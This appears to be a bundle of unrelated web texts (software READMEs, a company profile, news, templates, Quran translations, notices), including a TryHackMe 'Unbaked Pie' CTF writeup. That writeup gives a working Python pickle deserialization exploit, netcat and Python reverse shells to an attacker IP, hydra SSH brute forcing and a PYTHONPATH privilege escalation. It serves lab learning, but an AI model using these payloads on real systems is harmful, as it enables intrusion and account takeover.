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ThriftyField
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ThriftyField is an open source alternative to the closed source FRC Field Management System (FMS).
The goal of ThriftyField is to provide an easy way to manage the states of many robots at once just like the real fields to, but only with a small amount of inexpensive equipment. ThriftyField can also keep track of scores entered on tablets via the web application and can generate a near real-time audience view just like an official event.
These are all the main features of ThriftyField
To set up ThriftyField, you will need the following:
Due to the way that the Driverstation protocol was designed, the field network must be set to the 10.0.100.x
ip space, with <IP_ADDRESS>
reserved for the laptop running the ThriftyField software. After the router has been configured to accomodate this, either plug all 6 alliance station ethernet cables into the router, or a network switch.
On the scoring devices, navigate to <IP_ADDRESS>:8080 in firefox or chrome and tap on the Scoring tab at the top, then select the alliance that the divice will be inputting data for.
On any computer hooked up to a projector or display, navigate to <IP_ADDRESS>:8080 in firefox or chrome, click on the displays tab, then select Main. Next, move this window to the secondary screen and press f11
to go into fullscreen mode. Your mouse will be hidden when interacting with this window. If you are unable to hear game sounds, try enabling audio autoplay in your browser.
On the field control computer, navigate to <IP_ADDRESS>:8080 in firefox or chrome then click on the Field Control tab at the top.
The following section outlines how to set up the field and score games
On the field computer, make sure python3.6 or newer is installed, then install the required libraries with:
Next, run the program with:
The field control panel is split into two sections: Alliance station control, and Game control.
To add teams to the current match, simply type their team number into the corresponding text box to their assigned alliance station in the top section, then click anywhere outside of the text box to save. If you would like to start a game without a specific team or alliance station, simply click the green box beside the team number to bypass the alliance station. This box will turn red to show that the station has been disabled. Click it again to re-enable it.
To start or abort a match, just click the corresponding buttons in the bottom section. ThriftyField will automatically handle the control data and networking for the robots and will follow the usual game timing and segments, along with switching between auto and teleop.
By default the scoring panels are set in addition mode. Pressing any number on screen will add it to the current score. For example, pressing 5 twice will add 10 to the score.
To subtract from the score, press the **-** button to switch into subtraction mode. Make sure to press **+** when you want to start adding to the score again.
To build the documentation, run the following in the terminal with doxygen installed:
This project would not have been possible without the FRCture Project. Their wiki made the whole process of network programming and interacting with the Driverstation protocol much easier.
Also, thanks to cheesy-arena by the Cheesy Poofs for the inspiration behind ThriftyField. Much of the ThriftyField codebase is ported to python from cheesy-arena or infulences by cheesy-arena's design and layout.


the-judge-group
Businessmodel of The Judge Group
Customer Segments
Judge Group provides professional services and technical assistance to an extensive and diverse client base. According to its website, the Company serves customers across the following industries:
- Financial Services, including capital markets operators, credit companies, insurance providers, banking institutions, wealth management firms, and federal monetary authorities;
- Healthcare, including healthcare providers, hospitals, pharmacies, public healthcare agencies, healthcare technology companies, medical device manufacturers, and healthcare administration providers;
- Biopharmaceutical, including pharmaceutical groups, research and development companies, diagnostics companies, speciality chemicals suppliers, and environmental science organisations;
- Technology and Communications, including automotive companies, internet service providers, cable network operators, software providers, television and multimedia companies, and hardware manufacturers;
- Government, including municipal, state, and federal government bodies, public bodies, and branches of the armed forces;
- Manufacturing, including food and beverage producers. Consumer packaging materials producers, industrial parts manufacturers, construction companies, and automotive parts manufacturers;
- Supply Chain, including supply chain companies across multiple industries, including the retail, wholesale, automotive, and textiles industries;
- Higher Education, including universities, research facilities, and teaching hospitals;
- Energy, including oil and gas companies, utilities companies, renewable energy producers, transmission companies, and energy traders; and
- Hospitality, including hotels and resorts, conference centres, casinos, bars and restaurants, and water parks. Judge Group includes the US Postal Services, the Securities and Exchange Commission, and all branches of the US armed forces among its clients.
Judge group’s key market is its native US. The Company, however, also serves an international client base, notably serving customers across Canada.
Value Propositions
Judge Group provides value to its clients in the following ways:
- Its industry standing and reputation, with the Company established as a leading provider of professional services with a positive reputation in its native US, as demonstrated by its ability to secure business from major government institutions such as the US Postal Service and the Securities and Exchange Commission;
- Its diverse portfolio of services, with the Company offering an extensive catalogue of services – including application development, cloud computing, sales and marketing, and engineering solutions – that serve a diverse range of industries;
- Its customer service and communication, with the Company offering high-quality customer service and priding itself on its ongoing communications, ensuring that all the needs of its clients are met;
- Its extensive domestic reach and international operations, with the Company operating a wide network of offices across the US, as well as maintaining a presence in Canada, China, and India; and
- Its industry expertise and experience, with the Company employing specialist personnel across its various departments and operating units, led by a team of experienced industry executives. ### Channels
Judge Group operates a website at www.judge.com, through which it provides information on its various services, operating locations, and target industries. While the Company does not operate an online sales channel, it does allow prospective customers to request services through an online contact form or over the phone. It also operates online portals for clients and for candidates using its job board service, through which they are able to access a range of tools and resources.
Judge Group makes sales through its various direct sales teams, which are organised by geographic region and service line. The Company operates an extensive network of offices across the US, spanning 22 states, through which its domestic sales personnel operate. The Company additionally operates offices across Canada, China, and India. Judge group does not appear to utilise the services of reseller and distributor partners to any significant extent.
Customer Relationships
While Judge Group enables customers to request services through its website, the Company does not offer its products and services to customers on a self-service basis. The Company does, however, offer online portals through which clients can manage account details and access resources and candidates can browse and apply for jobs without interacting with company representatives.
Judge Group makes its sales primarily through its direct sales force, the members of which consult closely with clients in order to fully establish their unique requirements and circumstances. The Company is able to tailor is solutions and service offerings to suit the needs of its clients on a case-by-case basis, providing services under individual contracts. The Company seeks to maintain longstanding relationships with its customers.
Judge Group provides ongoing support to and maintains regular contact with its clients, in order to ensure that solutions are delivered effectively. Customers can also contact the Company directly over the phone or via an online contact form to access personalised assistance. Judge Group additionally offers a range of online resources, such as case studies, videos and blogs, that can be accessed by clients independently.
Judge Group operates social media accounts with Twitter, LinkedIn, Facebook, YouTube, and Instagram, through which it can interact directly with clients and publish company updates.
Key Activities
Judge Group provides a wide range of professional services, concerning information technology and engineering, to clients across multiple industries, including the energy, financial services, healthcare, technology, biopharmaceutical, higher education, and manufacturing industries.
The Company provides IT and engineering personnel on both a temporary contract basis and on a permanent basis, and offers customised IT training for established and emerging software applications. Judge Group maintains a database containing approximately 500,000 candidates for contract or permanent placements, and offers a range of recruitment services to these candidates. Judge Group is based in the US, which is its core market. It also operates offices in Canada, China, and India.
Key Partners
Judge Group works in close conjunction with a network of companies and organisations that support and enhance the Company’s in-house operations. These partners can be organised broadly into the following categories:
- Supplier and Vendor Partners, comprising suppliers of services, equipment, and technologies that support the Company’s core operations, as well as companies to which certain non-technical functions can be outsourced;
- Technology and Consulting Partners, comprising technology companies and software companies that assist in developing and maintaining the Company’s IT and communications systems; and
- Strategic and Alliance Partners, comprising a range of market leading companies and major organisations with which the Company collaborates in providing joint services and completing joint projects, including in marketing and branding. Judge group has agreed a number of partnerships in recent years. This includes a strategic partnership with the Delaware Valley Chapter of the Project Management Institute, and a partnership with the Shanghai Government to co-launch an IT Services Exchange Program.
Key Resources
Judge Group’s key resources are its network of candidates, its online portals and website, its IT and communications infrastructure, its international network of office locations, its partnerships, and its personnel.
Judge group owns and or leases a number of physical properties across 22 US states, as well as in Canada, India, and China. The Company does not appear to rely significantly on intellectual properties and patents.
Cost Structure
Judge Group incurs costs in relation to the maintenance of its IT and communications infrastructure, the development and maintenance of its online portals, the management of its partnerships, the procurement of services, the implementation of advertising and marketing campaigns, the operation of its office network, and the retention of its personnel.
Revenue Streams
Judge group generates revenue through the provision of professional services to commercial and institutional clients across multiple industries. This includes revenue generated through temporary contract assignments, permanent staffing placements, web-based staffing services, web-based recruiting services, and the provision of proprietary software for on-site staffing management.
Judge Group is a privately owned company, and as such is not obliged to publish its financial results online. Research did not identify any media references to Judge Group’s recent annual revenue figures.


Dhana,
If I remember correctly we don't show read-only/LDAP groups anymore, since they cannot be managed. I'm not sure if that is what you are saying.
The local groups however should be showing up, if they are not LDAP, as writable non-LDAP groups whose name matches the space naming convention noted in the plugin configuration should in-theory still be able to be managed, and if they aren't, it is a bug.
Please provide debug logs (after you scrub (remove) information that you do not wish to share publicly) by attaching them to this ticket. Read the wiki page for the CSUM plugin to determine how to turn on debugging and troubleshoot. Only provide the debug log portion from the point immediately before the action you take in the wiki that is failing to show or do what you want it to show or do. A good way to do this is to tail the log and output to another file and then terminate the tail/output a few seconds after you reproduce. This allows me to focus on the issue vs. finding the issue.
I may not have time to get to this quickly in my free time and cannot guarantee an estimated time to fix. If you need a speedy resolution either:
- Hire an Atlassian partner to donate their work and time to the free CSUM plugin to add support for LDAP. They are welcome to get some limited assistance from me with what time I can provide, although I can't promise to hold their hand through any work that needs to be done.
- OR Contact me directly via email or provide me with an email, and we can try to work something out.
Note also (even though I don't think this pertains to your issue), if you need the previous functionality of CSUM to be able to look up users in LDAP separately from Confluence so that they can be added to local Confluence groups, that feature at the moment is no longer supported as part of the free volunteer support for the plugin. CSUM plugin's "LDAP username verification prior to local user add" functionality was only supported up until Confluence 3.5 when embedded Crowd was introduced. At that point an older version of the ldap library that Andy Brook had written years ago would no longer work. At first, it seemed that things were undocumented enough where I wasn't sure if we'd ever have time to work on it, but there is an example I found from Atlassian for how to use LDAP with embedded crowd in this authenticator:
https://bitbucket.org/jaysee00/example-confluence-sso-authenticator/src/381eb95ebc08/src/main/java/com/atlassian/confluence/seraph/example/ExampleSSOAuthenticator.java
However, I support the CSUM plugin in my free time, and I've not had much free time to reintegrate that "check LDAP indirectly to determine if a local user should be added" over the last several months.
Hope that helps,
Gary
Sorry for providing insufficient data. please find the attached creenshot of LDAP configuration and let me know is the configuration has some issue?
Thanks in advance!


This is the home page
Showing of 'interpolate' filter: {{ 'Current version is v%VERSION%.' | interpolate }}


Novari named CEO of Milan-Cortina Olympic committee
by The Associated PressROME (AP) — Vincenzo Novari has been named CEO of the organizing committee for the Milan-Cortina Olympics.
The unanimous choice was made by the pre-organizing committee during a meeting at the Italian sports ministry.
The 60-year-old Novari was previously the CEO of telecommunications company Tre Italia from 2001-16.
The other finalists for the job were Alberto Baldan, the former CEO of the Rinascente retail stores, and Tom Mockridge, the former CEO of Sky Italia and Virgin Media.
Italian Olympic Committee president Giovanni Malago will lead the organizing committee, which has not formally begun work.
Milan-Cortina plans for a budget of 1.5 billion euros ($1.7 billion).
___
More AP sports: https://apnews.com/apf-sports and https://twitter.com/AP_Sports
The Associated Press


@Documented
@Retention(value=RUNTIME)
@Target(value=TYPE)
public @interface PaperParcel
Annotates Parcelable
classes to automatically generate the Parcelable.Creator
and writeToParcel
boilerplate code that is required as a part of the Parcelable
contract. The generated code will be contained in a class with the name of the type annotated
with @PaperParcel
prepended with PaperParcel
. For example, annotating a class
named MyModel
will produce a class named PaperParcelMyModel
.
PaperParcelMyModel
will have a static field named CREATOR
which can be added to
your model class. Finally, PaperParcelMyModel
will include a static method named
writeToParcel
which you can call from MyModel#writeToParcel
.
For example:
@PaperParcel
class User {
public static final Parcelable.Creator<User> CREATOR = PaperParcelUser.CREATOR;
long id;
String firstName;
String lastName;
@Override
public void writeToParcel(Parcel dest, int flags) {
PaperParcelUser.writeToParcel(this, dest, flags);
}
@Override
public int describeContents() {
return 0;
}
}


At Upier, accessible from https://upier-sigma.vercel.app/, one of our main priorities is the privacy of our visitors. This Privacy Policy document contains types of information that is collected and recorded by Upier and how we use it.
If you have additional
questions or require more information about our Privacy Policy, do not hesitate to contact us.
This Privacy Policy applies only to our online activities and is valid for visitors to our website with regards to the information that they
shared and/or collect in Upier. This policy is not applicable to any information collected offline or via channels other than this website.
Consent
By using our website, you hereby consent to our Privacy Policy and agree to its terms.
We don't collect any Information.
We don't Log You.
We don't Have any Advertise on our site.
- Hardik Dua
(Developer and Creator of UPIER)
G I T H U B
For contact send an email to:
<EMAIL_ADDRESS># Go Cashless
Made in 🇮🇳 for 🇮🇳


{% extends "base_leftsidebar.html" %} {% block title %}FableMe - Administer fables{% endblock %} {% block maincontent %}
You can view and edit FABLES here.
| User | Name | Template | Created | Last Modified | |||
|---|---|---|---|---|---|---|---|
| {{forloop.counter}} | {{fable.user_email}} | {{fable.name}} | {{fable.template}} | {{fable.created|date:"d/M/Y h:i" }} | {{fable.modified|date:"d/M/Y h:i" }} | ||
| You have no fables in our records. |


1 // Copyright 2007, Google Inc. 2 // All rights reserved. 3 // 4 // Redistribution and use in source and binary forms, with or without 5 // modification, are permitted provided that the following conditions are 6 // met: 7 // 8 // * Redistributions of source code must retain the above copyright 9 // notice, this list of conditions and the following disclaimer. 10 // * Redistributions in binary form must reproduce the above 11 // copyright notice, this list of conditions and the following disclaimer 12 // in the documentation and/or other materials provided with the 13 // distribution. 14 // * Neither the name of Google Inc. nor the names of its 15 // contributors may be used to endorse or promote products derived from 16 // this software without specific prior written permission. 17 // 18 // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS 19 // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 20 // LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR 21 // A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT 22 // OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, 23 // SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT 24 // LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 25 // DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 26 // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 27 // (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 28 // OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 29 30 31 // Google Mock - a framework for writing C++ mock classes. 32 // 33 // This is the main header file a user should include. 34 35 // GOOGLETEST_CM0002 DO NOT DELETE 36 37 #ifndef GMOCK_INCLUDE_GMOCK_GMOCK_H_ 38 #define GMOCK_INCLUDE_GMOCK_GMOCK_H_ 39 40 // This file implements the following syntax: 41 // 42 // ON_CALL(mock_object.Method(...)) 43 // .With(...) ? 44 // .WillByDefault(...); 45 // 46 // where With() is optional and WillByDefault() must appear exactly 47 // once. 48 // 49 // EXPECT_CALL(mock_object.Method(...)) 50 // .With(...) ? 51 // .Times(...) ? 52 // .InSequence(...) * 53 // .WillOnce(...) * 54 // .WillRepeatedly(...) ? 55 // .RetiresOnSaturation() ? ; 56 // 57 // where all clauses are optional and WillOnce() can be repeated. 58 59 #include "gmock/gmock-actions.h" 60 #include "gmock/gmock-cardinalities.h" 61 #include "gmock/gmock-generated-actions.h" 62 #include "gmock/gmock-generated-function-mockers.h" 63 #include "gmock/gmock-generated-matchers.h" 64 #include "gmock/gmock-generated-nice-strict.h" 65 #include "gmock/gmock-matchers.h" 66 #include "gmock/gmock-more-actions.h" 67 #include "gmock/gmock-more-matchers.h" 68 #include "gmock/internal/gmock-internal-utils.h" 69 70 namespace testing { 71 72 // Declares Google Mock flags that we want a user to use programmatically. 73 GMOCK_DECLARE_bool_(catch_leaked_mocks); 74 GMOCK_DECLARE_string_(verbose); 75 GMOCK_DECLARE_int32_(default_mock_behavior); 76 77 // Initializes Google Mock. This must be called before running the 78 // tests. In particular, it parses the command line for the flags 79 // that Google Mock recognizes. Whenever a Google Mock flag is seen, 80 // it is removed from argv, and *argc is decremented. 81 // 82 // No value is returned. Instead, the Google Mock flag variables are 83 // updated. 84 // 85 // Since Google Test is needed for Google Mock to work, this function 86 // also initializes Google Test and parses its flags, if that hasn't 87 // been done. 88 GTEST_API_ void InitGoogleMock(int* argc, char** argv); 89 90 // This overloaded version can be used in Windows programs compiled in 91 // UNICODE mode. 92 GTEST_API_ void InitGoogleMock(int* argc, wchar_t** argv); 93 94 } // namespace testing 95 96 #endif // GMOCK_INCLUDE_GMOCK_GMOCK_H_


Unbaked Pie TryHackMe Writeup
Unbaked_Pie Writeup
First Stage : Enumeration
So let’s start with a nmap scan.
# Nmap 7.91 scan initiated Fri Dec 11 11:56:00 2020 as: nmap -sC -T4 -vv -p- -oN nmapscan -Pn <IP_ADDRESS>
Nmap scan report for <IP_ADDRESS>
Host is up, received user-set (0.16s latency).
Scanned at 2020-12-11 11:56:08 IST for 362s
Not shown: 65534 filtered ports
Reason: 65534 no-responses
PORT STATE SERVICE REASON
5003/tcp open filemaker syn-ack
Read data files from: /usr/bin/../share/nmap
# Nmap done at Fri Dec 11 12:02:10 2020 -- 1 IP address (1 host up) scanned in 371.24 seconds
Since only one port is open lets visit it.
So after using burpsuite to intercept the requests , we can find an interesting cookie named search_cookie.
If we decode the search_cookie using cyberchef.
I searched for test hence the search_cookie has a value of test but why are the dots generated ?
Maybe the query is being sereialized before sending ?
After some google search I found it is called pickling which is done using python to sereialze objects .
I found this article : https://davidhamann.de/2020/04/05/exploiting-python-pickle/
Second Stage : Initial Access
So the exploit code is:
import pickle
import base64
import os
class RCE:
def __reduce__(self):
cmd = ('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <IP_ADDRESS> 1234 >/tmp/f')
return os.system, (cmd,)
if __name__ == '__main__':
pickled = pickle.dumps(RCE())
print(base64.urlsafe_b64encode(pickled))
First we have to test whether this is working or not , hence we can edit the cmd to
ping -c 3 <ip>
And listen for icmp request with
sudo tcpdump -i tun0 icmp
So lets run the test.py
Lets put it in the search field and enter
Hence it is working we can run the real exploit code.
And we get the shell.
And I guess this is a container and we have to escape this in order to get user access .
Use these commands to upgrade shell.
python3 -c"import pty;pty.spawn('/bin/bash')"
#then press CTRL-Z
stty raw -echo ; fg
#press enter two times
export TERM=screen
After some searching and tweaking I saw .bash_history file .
We can see a user ramsey and internal ip <IP_ADDRESS>.
Third Stage : Escaping docker to user
So we need to do port forwarding .
I am using chisel to port forward.
Start a server using :
./chisel server -p 10000 –reverse
And in the victim machine use:
./chisel client <vpn_ip>:10000 R:4444:<IP_ADDRESS>:22
Since we dont know the password let brutefoce using hydra
hydra -l ramsey -P /usr/share/wordlists/rockyou.txt localhost ssh -s 4444
Next we login in using ssh .
Fourth Stage : Pivoting from ramsey to oliver
So if we try
sudo -l
We copy vuln.py to another file and delete it .
cp vuln.py vuln.py.bak
rm vuln.py
We edit the vuln.py to this
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<IP_ADDRESS>",3333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
We get shell as oliver.
Fifth Stage : Oliver to root
And we see what permissions we have.
And the contents of dockerScript.py
import docker
# oliver, make sure to restart docker if it crashes or anything happened.
# i havent setup swap memory for it
# it is still in development, please dont let it live yet!!!
client = docker.from_env()
client.containers.run("python-django:latest", "sleep infinity", detach=True)
We have permission to set env so we create a docker.py and add a reverse python shell to this file and execute this command
sudo PYTHONPATH=/home/oliver /usr/bin/python /opt/dockerScript.py
Now we get a shell.


Overwatch Voice Actors Hit BlizzCon Cosplaying As Their Characters
by Luke PlunkettBack in March, we ran a little feature on Carolina Ravassa, the voice actor behind Sombra who spent a day cosplaying as the Overwatch hacker. That was at Katsucon, but for BlizzCon 2019, she was joined by two other cast members, Anjali Bhimani (Symmetra) and Matthew Mercer (McCree).
Cosplayer Melanie Jasmine (below, left) made Ravassa and Bhimani’s outfits, while the incredible Kelton FX—whose own Overwatch work we featured earlier in the year—handled their prosthetics and make-up.
As for that other guy not in costume, that’s Zenyatta’s voice actor Feodor Chin, just hangin’ out with some friends, maybe not feeling like spending the whole weekend wearing armour and floating around everywhere.


One time in particular that sticks out to me is when I had a fight with one
of my best friends, Cooper. We were partners in a game, and we consistently
played off of one another to win our matches. With any competitive thing,
tempers can flare and quickly grow out of control. Cooper was a very
straightforward person, and he was grating on my nerves one match in
particular, and we went off on each other.
The conflict arose simply because we had a miscommunication about where to
go on the map at a certain time. We had both been irritated from the match
before where we got smashed.
The conflict itself was resolved when after a few days of not talking, we
decided to grow up and apologize to each other. I initiated the apology, and
overall my action over his inaction is what resolved the situation.
I would have gone back and tried to be more cognizant while playing the game.
By cognizant, I mean more aware of how my partner was feeling as opposed to just how I was feeling at the time. I needed to be more empathetic toward his situation.
About Me
I am, well I used to be, a college student who has always had an insatiable drive to learn about the world. I am currently attending Dev Bootcamp to learn how to code and develop pretty much anything that my heart desires. That is all anyone can ever truly strive for, right?
-The links below are broken for the time being. I am working on updating all of my blog pages.-


| 005:089 Khan | : |
Allah will not punish you for what is uninentional in your oaths, but He will punish you for your deliberate oaths; for its expiation (a deliberate oath) feed ten Masakin (poor persons), on a scale of the average of that with which you feed your own families; or clothe them; or manumit a slave. But whosoever cannot afford (that), then he should fast for three days. That is the expiation for the oaths when you have sworn. And protect your oaths (i.e. do not swear much). Thus Allah make clear to you His Ayat (proofs, evidences, verses, lessons, signs, revelations, etc.) that you may be grateful. |
| 005:089 Maulana | : |
Allah will not call you to account for that which is vain in your oaths, but He will call you to account for the making of deliberate oaths; so its expiation is the feeding of ten poor men with the average (food) you feed your families with, or their clothing, or the freeing of a neck. But whoso finds not (means) should fast for three days. This is the expiation of your oaths when you swear. And keep your oaths. Thus does Allah make clear to you his messages that you may give thanks. |
| 005:089 Pickthal | : |
Allah will not take you to task for that which is unintentional in your oaths, but He will take you to task for the oaths which ye swear in earnest. The expiation thereof is the feeding of ten of the needy with the average of that wherewith ye feed your own folk, or the clothing of them, or the liberation of a slave, and for him who findeth not (the wherewithal to do so) then a three days' fast. This is the expiation of your oaths when ye have sworn; and keep your oaths. Thus Allah expoundeth unto you His revelations in order that ye may give thanks. |
| 005:089 Rashad | : |
GOD does not hold you responsible for the mere utterance of oaths; He holds you responsible for your actual intentions. If you violate an oath, you shall atone by feeding ten poor people from the same food you offer to your own family, or clothing them, or by freeing a slave. If you cannot afford this, then you shall fast three days. This is the atonement for violating the oaths that you swore to keep. You shall fulfill your oaths. GOD thus explains His revelations to you, that you may be appreciative. |
| 005:089 Sarwar | : |
God will not hold you responsible for your thoughtless oaths. However, He will question you about your deliberate oaths. The expiation for breaking an oath is to feed ten needy people with food, typical of that which you feed to your own people, to clothe them or to set a slave free. One who cannot pay this, he must fast for three days to expiate his oaths. Keep your oaths. Thus, does God explain His Laws so that you will give Him thanks. |
| 005:089 Shakir | : |
Allah does not call you to account for what is vain in your oaths, but He calls you to account for the making of deliberate oaths; so its expiation is the feeding of ten poor men out of the middling (food) you feed your families with, or their clothing, or the freeing of a neck; but whosoever cannot find (means) then fasting for three days; this is the expiation of your oaths when you swear; and guard your oaths. Thus does Allah make clear to you His communications, that you may be Fateful. |
| 005:089 Sherali | : |
ALLAH will not take you to task for such of your oaths as are vain, but HE will take you to task for breaking the oaths which you take in earnest. The expiation thereof, then, is the feeding of ten poor persons with such average food as you feed your families with, or the clothing of them or the freeing of a slave. But whoso finds not the means shall fast for three days. That is the expiation of your oaths when you have sworn. And keep your oaths. Thus does ALLAH explain to you HIS Signs that you may be grateful. |
| 005:089 Yusufali | : |
Allah will not call you to account for what is futile in your oaths, but He will call you to account for your deliberate oaths: for expiation, feed ten indigent persons, on a scale of the average for the food of your families; or clothe them; or give a slave his freedom. If that is beyond your means, fast for three days. That is the expiation for the oaths ye have sworn. But keep to your oaths. Thus doth Allah make clear to you His signs, that ye may be grateful. |
Concepts/Themes Covered: أركان الإسلام > الصيام > وجوب الصيام وما أعده الله للصائمين Pillars of Islam> Fasting> The Duty of Fasting and what Allah has Prepared for the Fasters of Reward الجهاد > الأسرى والرقيق > خطوات سباقة للقضاء على الرقيق و إستئصال وجوده > الإعتاق Jihad> The Slaves and the Bondmen> The Forerunner Steps to Put End to Slavery> Set Free العمل > العمل الطالح > في القول > الحلف علي معصية Action(Work)> Bad Deeds>In the Saying>Swearing by Using Allah's Name as an Excuse against Doing Good الإنسان والعلاقات الأخلاقية > الأخلاق الذميمة > لغو القول Man and The Moral Relations>The Dispraised Morals>Thoughtlessness تنظيم العلاقات المالية > إعتاق الرقاب Organizing Financial Relationships>Release the Slaves العلاقات القضائية > أحكام قانونية > العفو > التكفير Judicial Relationships>Legal Rules>Forgiveness>The Expiation
This tool uses eight English parallel translations for the Holy Quran imported from Mr. Clay Smith. You can also visit Qurany Concepts for browsing the Quran themes or topics. If you want to search the Holy Quran for keywords, please visit Qurany Keywords.


{% load i18n %} {% url 'hlp_form' as url_help_form %} {% blocktrans %}
Here you will find all virtual machines creation and management related functions. Current resources limits for one user are:
We are willing to consider increasing the limits in individual cases. Should you need more resources for your virtual machines, contact the system administrator through the Help form.
{% endblocktrans %}


I am a generalist developer with an emphasis on the web.
Commonly, I work with startup founders and CEOs to translate product vision into working software.
I work primarily in Javascript and Python.
Further details about each of these projects (and more) can be found on my portfolio page.
I have been building front-ends and web applications for startups, research labs, and large institutions for the last five years.
Before that, I trained in competitive algorithm programming (World Finalist in the 2008 ACM ICPC), which gives me insight into the back-end functionality of web apps as well as very sharp coding skills under time pressure.
If it sounds like I could help your next big idea, please get in touch.
Be sure to check out my work samples.
Exploring the popular and idiosyncratic programming language.
Echoes of Javascript while reading Borges.
...and what it can teach us about UI design
Communicating engineering design with gifs, blogs, and Github


REQFIL server.
REQFIL server allows to send back the ascii file requested to the originator
of the message.
The message sent to REQFIL has a well defined syntax. The standard command
line of message is utilized. The message should be of the private type and
addressed to the BBS which we want to ask.
SP REQFIL @ bbs-destination
The title of the message contains two information, the name of the
requested file and the @ sign followed by the return BBS, that is to say
yours. The return message will be addressed to the originator of the request
to the return bbs.
filename @ bbs-return
The text of the message is not necessary, its content will not be taken into
account by the service.
Example :
F6FBB BBS >
SP REQFIL @ F6ABJ.FRA.EU
Title of message :
DEMOS\ESSAI.TXT @ F6FBB.FMLR.FRA.EU
Text of message :
/EX
This example makes the assumption that DEMO is a sub-directory of the USERS
directory.
The answer of the remote mailbox will be of the form :
SP F6FBB @ F6FBB.FMLR.FRA.EU < F6ABJ
Req File: DEMOS/ESSAI.TXT
Contents of ESSAI.TXT file
...
/EX
This page was last updated


MARINE AND COASTAL ACCESS ACT 2009
APPLICATION FOR GREATER GABBARD OFFSHORE WIND FARM - REINSTATEMENT OF SAFE FISHING ENVIRONMENT, CABLE PROTECTION AND SCOUR REMEDIATION WORKS
MARINE AND COASTAL ACCESS ACT 2009
APPLICATION FOR GREATER GABBARD OFFSHORE WIND FARM - REINSTATEMENT OF SAFE FISHING ENVIRONMENT, CABLE PROTECTION AND SCOUR REMEDIATION WORKS
Notice is hereby given that Chris Finnigan Equitix Management Services 5th Floor, 120 Aldersgate Street London EC1A 4JQ / EC1M 6EH has applied to the Marine Management Organisation under the Marine and Coastal Access Act 2009, Part 4, for a marine licence to undertake the reinstatement of a safe fishing environment, cable protection and scour remediation works for Greater Gabbard offshore wind farm. Plans showing the position of the works may be inspected at (1).
Copies of the application and associated information may be viewed on line in the Public Register at www.gov.uk/check-marine-licence-register. Representations in respect of the application should ordinarily be made by:
-Visiting the MMO public register at https://marinelicensing. marinemanagement.org.uk/mmofox5/fox/live/MMO_ PUBLIC_REGISTER/search?area=3 and accessing the 'make a comment? section of case reference MLA/2019/00363;
However, we will also accept representations via the following formats:
- By email to<EMAIL_ADDRESS>or alternatively
- By letter addressed to Marine Management Organisation, Lancaster House, Hampshire Court, Newcastle upon Tyne, NE4 7YH In all cases, correspondence must: - Be received within 28 days of the date of the first notice (2);
- Quote the case reference; and
- include an address to which correspondence relating to the representation or objection may be sent.
The Marine Management Organisation will pass to the applicant a copy of any objection or representation we receive.


{% load compress %} {% load staticfiles %}
This is a modified jumbotron that occupies the entire horizontal space of its parent.
#} {#test
This is a longer card with supporting text below as a natural lead-in to additional content. This content is a little bit longer.
This card has supporting text below as a natural lead-in to additional content.
This is a wider card with supporting text below as a natural lead-in to additional content. This card has even longer content than the first to show that equal height action.
This is a wider card with supporting text below as a natural lead-in to additional content. This card has even longer content than the first to show that equal height action.


Genres:
Drama
Director:
Michael Corrente
Writer:
David Mamet
Cast:
Teach - Dustin Hoffman
Don - Dennis Franz
Bob - Sean Nelson
back...


Home
About
Coding Project
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How to place text over an image:
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Lorem Ipsum is simply dummy text of the printing and
typesetting industry. Lorem Ipsum has been the industry's standard dummy
text ever since the
Lorem Ipsum is simply dummy text of the printing and
Lorem Ipsum is simply dummy text of the printing and
Lorem Ipsum is simply dummy text of the printing and


imply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown
imply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown
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FEW OF THE LATEST PORTFOLIO


The Loxberry extends your Loxone Smarthome by many interesting and useful features, which can not provided by the Loxone-System itself. These features are realized using Plugins, which can be installed later on.
The Basic System of the Loxberry is free of charge and is maintained by volunteers in their leisure time. The Source Code is free and is distributed under the Apache 2.0-License. The Loxberry arose from an idea in the Loxone-Forum (https://www.loxforum.com/).
If you like and use the the LoxBerry or maybe use it in comercial circumstances, please think about a donation. We, the developer of the LoxBerry, do not want money. But there are many people who are not as fortunate as us. And these people need our support. Even a little amount helps, to help these people. A donation is quickly done and possible via money transfer, credit card or Paypal:
Donate for the German Child cancer aid society
In the following Setup-Wizard the basic System Setting like Networking or Time Server are done. The Loxberry will not work without these mandatory settings. All further Plugins (Features) can be installed and configured later from the Main Menu.


--- author: display_name: UGRC Staff email<EMAIL_ADDRESS>tags: - data - telephone - utilities categories: [] date: 2012-05-22 17:58:01 -0600 Telcom: hub: name: Utah Rural Telecom Boundaries item_id: be469085c5f747d4b3537317cde88c11 updates: - May 2012 --- {% include abstract.html name="Telephone Infrastructure and Rural Telcom Boundaries" abstract="This dataset represents the service territories of telephone providers in Utah. These areas are regulated by the Public Service Commission." %}
The PROVIDER
field contains the provider name.
{% include contact.html subject=page.title contact=site.data.contacts.agrc %}


You can upload the current location's VR file
The current google_place_id is: {{place_id}}
You have to name the VR fiel as:{{place_id}}.jpg
上传VR


|
Aastha Gupta
BCA
Core Java, Advanced Java, C, C++, Python, HTML, CSS, PHP, SQL
|
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Abhay Rajput
B.Sc
Core Java, Advanced Java, C, C++, Python, HTML, CSS, SQL, Prolog, MatLab
|
